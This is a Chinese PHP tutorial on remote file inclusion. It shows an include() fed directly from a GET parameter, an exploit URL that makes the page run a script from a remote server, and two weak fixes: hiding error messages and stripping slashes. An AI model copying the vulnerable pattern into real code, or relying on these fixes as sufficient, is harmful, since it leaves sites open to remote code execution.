PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
php4的session功能评述(二)
Oct 09 PHP
树型结构列出指定目录里所有文件的PHP类
Oct 09 PHP
php产生随机数的两种方法实例代码 输出随机IP
Apr 08 PHP
linux系统上支持php的 iconv()函数的方法
Oct 01 PHP
php学习之function的用法
Jul 14 PHP
PHP提交表单失败后如何保留已经填写的信息
Jun 20 PHP
ThinkPHP表单令牌错误的相关解决方法分析
May 20 PHP
PHP 自动加载的简单实现(推荐)
Aug 12 PHP
php面试实现反射注入的详细方法
Sep 30 PHP
thinkphp5框架实现数据库读取的数据转换成json格式示例
Oct 10 PHP
PHP实现文件上传操作和封装
Mar 04 PHP
thinkphp 框架数据库切换实现方法分析
May 18 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
如何使用PHP获取指定日期所在月的开始日期与结束日期
2013/08/01 PHP
php阻止页面后退的方法分享
2014/02/17 PHP
用PHP解决的一个栈的面试题
2014/07/02 PHP
PHP直接修改表内容DataGrid功能实现代码
2015/09/24 PHP
Thinkphp 中 distinct 的用法解析
2016/12/14 PHP
js 匿名调用实现代码
2009/06/19 Javascript
jQuery 表单验证扩展代码(一)
2010/10/11 Javascript
扩展easyui.datagrid,添加数据loading遮罩效果代码
2010/11/02 Javascript
node.js中的fs.lstat方法使用说明
2014/12/16 Javascript
在Google 地图上实现做的标记相连接
2015/01/05 Javascript
jQuery为DOM动态追加事件的方法
2017/02/16 Javascript
微信小程序 action-sheet 反馈上拉菜单简单实例
2017/05/11 Javascript
vue.js组件之间传递数据的方法
2017/07/10 Javascript
Element-UI踩坑之Pagination组件的使用
2018/10/29 Javascript
vue中input的v-model清空操作
2019/09/06 Javascript
countUp.js实现数字动态变化效果
2019/10/17 Javascript
[05:04]DOTA2上海特级锦标赛主赛事第二日TOP10
2016/03/04 DOTA
在Python中处理列表之reverse()方法的使用教程
2015/05/21 Python
Python根据区号生成手机号码的方法
2015/07/08 Python
Python实现批量修改文件名实例
2015/07/08 Python
python编程之requests在网络请求中添加cookies参数方法详解
2017/10/25 Python
Django如何使用第三方服务发送电子邮件
2019/08/14 Python
详解html5页面 rem 布局适配方法
2018/01/12 HTML / CSS
实习护士自我鉴定
2013/10/13 职场文书
房屋改造计划书
2014/01/10 职场文书
成品库仓管员岗位职责
2014/04/06 职场文书
宣传部部长竞选演讲稿
2014/04/26 职场文书
会计学毕业生求职信
2014/06/25 职场文书
2014年计划生育协会工作总结
2014/11/14 职场文书
2014年电话销售工作总结
2014/12/01 职场文书
教师党员个人总结
2015/02/10 职场文书
小学思想品德教学反思
2016/02/24 职场文书
2019个人工作态度自我评价
2019/04/24 职场文书
LayUI+Shiro实现动态菜单并记住菜单收展的示例
2021/05/06 Javascript
Spring Boot mybatis-config 和 log4j 输出sql 日志的方式
2021/07/26 Java/Android
Python尝试实现蒙特卡罗模拟期权定价
2022/04/21 Python